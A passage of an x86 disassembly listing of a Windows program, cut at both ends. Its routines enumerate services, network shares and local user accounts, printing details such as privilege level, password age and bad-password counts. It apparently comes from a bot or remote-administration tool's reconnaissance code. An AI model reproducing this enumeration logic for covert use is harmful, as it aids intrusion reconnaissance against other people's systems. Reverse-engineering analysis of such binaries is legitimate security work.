could not be fo"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8A3: ; CODE XREF: sub_40D835+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8AD: ; CODE XREF: sub_40D835+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40D8DC dec ecx jz short loc_40D8D5 dec ecx jz short loc_40D8CE dec ecx jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8CE: ; CODE XREF: sub_40D835+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8D5: ; CODE XREF: sub_40D835+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8DC: ; CODE XREF: sub_40D835+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8E3: ; CODE XREF: sub_40D835+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8EA: ; CODE XREF: sub_40D835+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 jz short loc_40D94D lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_40D9A1[ecx] jmp off_40D979[ecx*4] ; switch jump loc_40D90E: ; DATA XREF: ___:off_40D979o push offset aTheSpecifiedDa ; jumptable 0040D907 case 7 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D915: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDepe ; jumptable 0040D907 case 17 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D91C: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDe_0 ; jumptable 0040D907 case 10 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D923: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasB ; jumptable 0040D907 case 0 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D92A: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheSpecified_0 ; jumptable 0040D907 case 2 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D931: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceCoul ; jumptable 0040D907 case 11 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D938: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHa_0 ; jumptable 0040D907 case 14 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D93F: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheRequested_1 ; jumptable 0040D907 case 3 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasN ; jumptable 0040D907 case 4 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D94D: ; CODE XREF: sub_40D835+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40D952: ; CODE XREF: sub_40D835+41j ; sub_40D835+4Bj ... push offset dword_443A78 call sub_4172B0 pop ecx pop ecx jmp short loc_40D973 ; --------------------------------------------------------------------------- loc_40D960: ; CODE XREF: sub_40D835+36j ; sub_40D835+89j ... push eax ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_443A78 call sub_4172B0 add esp, 0Ch loc_40D973: ; CODE XREF: sub_40D835+129j mov eax, offset dword_443A78 retn sub_40D835 endp ; --------------------------------------------------------------------------- off_40D979 dd offset loc_40D923 ; DATA XREF: sub_40D835+D2r dd offset loc_40D92A ; jump table for switch statement dd offset loc_40D93F dd offset loc_40D946 dd offset loc_40D90E dd offset loc_40D91C dd offset loc_40D931 dd offset loc_40D938 dd offset loc_40D915 dd offset loc_40D960 byte_40D9A1 db 0, 9, 1, 2 ; DATA XREF: sub_40D835+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9B3 proc near ; CODE XREF: sub_40EE72+2094p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43F65C push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40D9EB: ; CODE XREF: sub_40D9B3+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_43F628 test eax, eax jnz short loc_40DA25 nop call near ptr 2630B7Ah cmp eax, 0EAh jnz loc_40DAD9 loc_40DA25: ; CODE XREF: sub_40D9B3+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40DAD0 lea esi, [ebp+var_188] loc_40DA36: ; CODE XREF: sub_40D9B3+117j mov eax, [esi+8] dec eax jz short loc_40DA7F dec eax jz short loc_40DA78 dec eax jz short loc_40DA71 dec eax jz short loc_40DA6A dec eax jz short loc_40DA63 dec eax jz short loc_40DA5C dec eax jz short loc_40DA55 push offset aUnknown_0 ; " Unknown" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA55: ; CODE XREF: sub_40D9B3+99j push offset aPaused_0 ; " Paused" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA5C: ; CODE XREF: sub_40D9B3+96j push offset aPausing ; " Pausing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA63: ; CODE XREF: sub_40D9B3+93j push offset aContinuing ; " Continuing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA6A: ; CODE XREF: sub_40D9B3+90j push offset aRunning ; " Running" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA71: ; CODE XREF: sub_40D9B3+8Dj push offset aStoping ; " Stoping" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA78: ; CODE XREF: sub_40D9B3+8Aj push offset aStarting ; " Starting" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA7F: ; CODE XREF: sub_40D9B3+87j push offset aStopped ; " Stopped" loc_40DA84: ; CODE XREF: sub_40D9B3+A0j ; sub_40D9B3+A7j ... lea eax, [ebp+var_20] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_4172B0 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40DA36 loc_40DAD0: ; CODE XREF: sub_40D9B3+77j cmp [ebp+var_8], ebx jnz loc_40D9EB loc_40DAD9: ; CODE XREF: sub_40D9B3+6Cj push [ebp+var_C] call dword_43F56C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAF0 proc near ; CODE XREF: sub_40EE72:loc_410FB4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40DB8A mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40DB19 dec eax jnz short loc_40DB6A push edi push 0 call sub_40DCC3 pop ecx pop ecx jmp short loc_40DB66 ; --------------------------------------------------------------------------- loc_40DB19: ; CODE XREF: sub_40DAF0+18j cmp [ebp+arg_8], 0 jnz short loc_40DB58 push 24h push edi call sub_418F50 pop ecx test eax, eax pop ecx jnz short loc_40DB58 push 57h pop eax loc_40DB30: ; CODE XREF: sub_40DAF0+78j push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_443D34 push off_42E7A0[eax*4] push offset dword_42EE98 push esi call sub_4172B0 add esp, 14h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB58: ; CODE XREF: sub_40DAF0+2Dj ; sub_40DAF0+3Bj push [ebp+arg_8] push edi push 0 call sub_40DC17 add esp, 0Ch loc_40DB66: ; CODE XREF: sub_40DAF0+27j test eax, eax jnz short loc_40DB30 loc_40DB6A: ; CODE XREF: sub_40DAF0+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_443D34 push off_42E7A4[eax*4] push offset dword_42EE6C push esi call sub_4172B0 add esp, 10h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB8A: ; CODE XREF: sub_40DAF0+Aj mov eax, [ebp+arg_0] mov esi, offset dword_443D34 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EE38 push esi call sub_4172B0 add esp, 0Ch loc_40DBAA: ; CODE XREF: sub_40DAF0+66j ; sub_40DAF0+98j mov eax, esi pop edi pop esi pop ebp retn sub_40DAF0 endp ; =============== S U B R O U T I N E ======================================= sub_40DBB0 proc near ; CODE XREF: sub_415F88+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40DBBD xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40DBBD: ; CODE XREF: sub_40DBB0+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_424150 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_443F34, 1 mov ebp, eax jnz short loc_40DBFA or byte_443F34, 1 lea eax, [ebp+1] push eax call sub_4185F5 pop ecx mov dword_443CD4, eax loc_40DBFA: ; CODE XREF: sub_40DBB0+32j push esi push esi push ebp push dword_443CD4 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_443CD4 pop edi pop ebp pop ebx pop esi retn sub_40DBB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC17 proc near ; CODE XREF: sub_40DAF0+6Ep ; sub_4162AC+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_418F50 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40DC82 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_43F568 pop edi leave retn sub_40DC17 endp ; =============== S U B R O U T I N E ======================================= sub_40DC82 proc near ; CODE XREF: sub_40DC17+Ap ; sub_40DC17+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40DC8F pop ebp retn ; --------------------------------------------------------------------------- loc_40DC8F: ; CODE XREF: sub_40DC82+9j push ebx push esi mov esi, dword_424070 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_4185F5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40DC82 endp ; =============== S U B R O U T I N E ======================================= sub_40DCC3 proc near ; CODE XREF: sub_40DAF0+20p ; sub_415F88+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push 0 push eax push esi call dword_43F540 pop esi retn sub_40DCC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCE6 proc near ; CODE XREF: sub_40EE72+2169p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40DC82 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40DD1F: ; CODE XREF: sub_40DCE6+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_43F5B4 mov ebx, eax cmp ebx, esi jz short loc_40DD82 cmp ebx, 0EAh jz short loc_40DD82 push ebx push ebx call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_210] push offset dword_42EEF4 push eax call sub_4172B0 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40DDEF ; --------------------------------------------------------------------------- loc_40DD82: ; CODE XREF: sub_40DCE6+5Dj ; sub_40DCE6+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40DDE6 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40DD90: ; CODE XREF: sub_40DCE6+FCj push dword ptr [esi+10h] call dword_43F55C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40DDA7 mov eax, offset aNo ; "No" loc_40DDA7: ; CODE XREF: sub_40DCE6+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40DD90 xor esi, esi loc_40DDE6: ; CODE XREF: sub_40DCE6+A2j push [ebp+var_4] call dword_43F6F8 loc_40DDEF: ; CODE XREF: sub_40DCE6+9Aj cmp ebx, 0EAh jz loc_40DD1F xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40DCE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE07 proc near ; CODE XREF: sub_40EE72:loc_411047p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40DEAC mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40DE49 dec eax jz short loc_40DE3E dec eax jnz short loc_40DE64 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40DF4E add esp, 14h jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE3E: ; CODE XREF: sub_40DE07+1Dj push ebx push edi call sub_40DF2D pop ecx pop ecx jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE49: ; CODE XREF: sub_40DE07+1Aj cmp [ebp+arg_8], edi jz short loc_40DE5D push [ebp+arg_8] push ebx push edi call sub_40DED3 add esp, 0Ch jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE5D: ; CODE XREF: sub_40DE07+45j push 57h pop eax loc_40DE60: ; CODE XREF: sub_40DE07+35j ; sub_40DE07+40j ... cmp eax, edi jnz short loc_40DE84 loc_40DE64: ; CODE XREF: sub_40DE07+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_443F38 push off_42E7A4[eax*4] push offset dword_42EFD8 push esi call sub_4172B0 add esp, 10h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DE84: ; CODE XREF: sub_40DE07+5Bj push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_443F38 push off_42E7A0[eax*4] push offset dword_42EF9C push esi call sub_4172B0 add esp, 14h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DEAC: ; CODE XREF: sub_40DE07+Dj mov eax, [ebp+arg_0] mov esi, offset dword_443F38 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EF64 push esi call sub_4172B0 add esp, 0Ch loc_40DECC: ; CODE XREF: sub_40DE07+7Bj ; sub_40DE07+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40DE07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DED3 proc near ; CODE XREF: sub_40DE07+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40DC82 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43F54C pop edi leave retn sub_40DED3 endp ; =============== S U B R O U T I N E ======================================= sub_40DF2D proc near ; CODE XREF: sub_40DE07+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push eax push esi call dword_43F53C pop esi retn sub_40DF2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF4E proc near ; CODE XREF: sub_40DE07+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43F6C0 test eax, eax mov [ebp+arg_0], eax jnz loc_40E2F6 mov eax, [ebp+var_4] test eax, eax jz loc_40E331 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4172B0 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_40E06D dec eax jz short loc_40E066 dec eax jz short loc_40E05F mov eax, offset aUnknown ; "Unknown" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E05F: ; CODE XREF: sub_40DF4E+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E066: ; CODE XREF: sub_40DF4E+105j mov eax, offset aUser_0 ; "User" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E06D: ; CODE XREF: sub_40DF4E+102j mov eax, offset aGuest ; "Guest" loc_40E072: ; CODE XREF: sub_40DF4E+10Fj ; sub_40DF4E+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4172B0 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 add esp, 20h pop edi pop ebx jmp short loc_40E322 ; --------------------------------------------------------------------------- loc_40E2F6: ; CODE XREF: sub_40DF4E+35j push eax lea eax, [ebp+var_204] push offset dword_42F008 push eax call sub_4172B0 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40D679 add esp, 20h loc_40E322: ; CODE XREF: sub_40DF4E+3A6j cmp [ebp+var_4], 0 jz short loc_40E331 push [ebp+var_4] call dword_43F6F8 loc_40E331: ; CODE XREF: sub_40DF4E+40j ; sub_40DF4E+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_40DF4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E337 proc near ; CODE XREF: sub_40EE72+21F2p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40DC82 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40E376: ; CODE XREF: sub_40E337+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_43F5D0 cmp eax, esi mov [ebp+var_C], eax jz short loc_40E3D7 cmp eax, 0EAh jz short loc_40E3D7 push eax push eax call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_218] push offset dword_42F218 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E3D7: ; CODE XREF: sub_40E337+62j ; sub_40E337+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40E465 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40E452 loc_40E3E9: ; CODE XREF: sub_40E337+EDj cmp edi, esi jz short loc_40E428 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40E3E9 jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E428: ; CODE XREF: sub_40E337+B4j lea eax, [ebp+var_218] push offset dword_42F1D4 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 1Ch loc_40E452: ; CODE XREF: sub_40E337+9Ej ; sub_40E337+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40E465 push edi call dword_43F6F8 xor edi, edi mov [ebp+var_4], edi loc_40E465: ; CODE XREF: sub_40E337+A5j ; sub_40E337+120j cmp [ebp+var_C], 0EAh jz loc_40E376 cmp edi, esi jz short loc_40E47D push edi call dword_43F6F8 loc_40E47D: ; CODE XREF: sub_40E337+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40E337 endp ; =============== S U B R O U T I N E ======================================= sub_40E4B7 proc near ; CODE XREF: sub_40DAF0+41p ; sub_40DCE6+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40E569 jz loc_40E562 cmp eax, 7Bh ja short loc_40E52E jz short loc_40E524 cmp eax, 5 jz short loc_40E51A cmp eax, 8 jz short loc_40E510 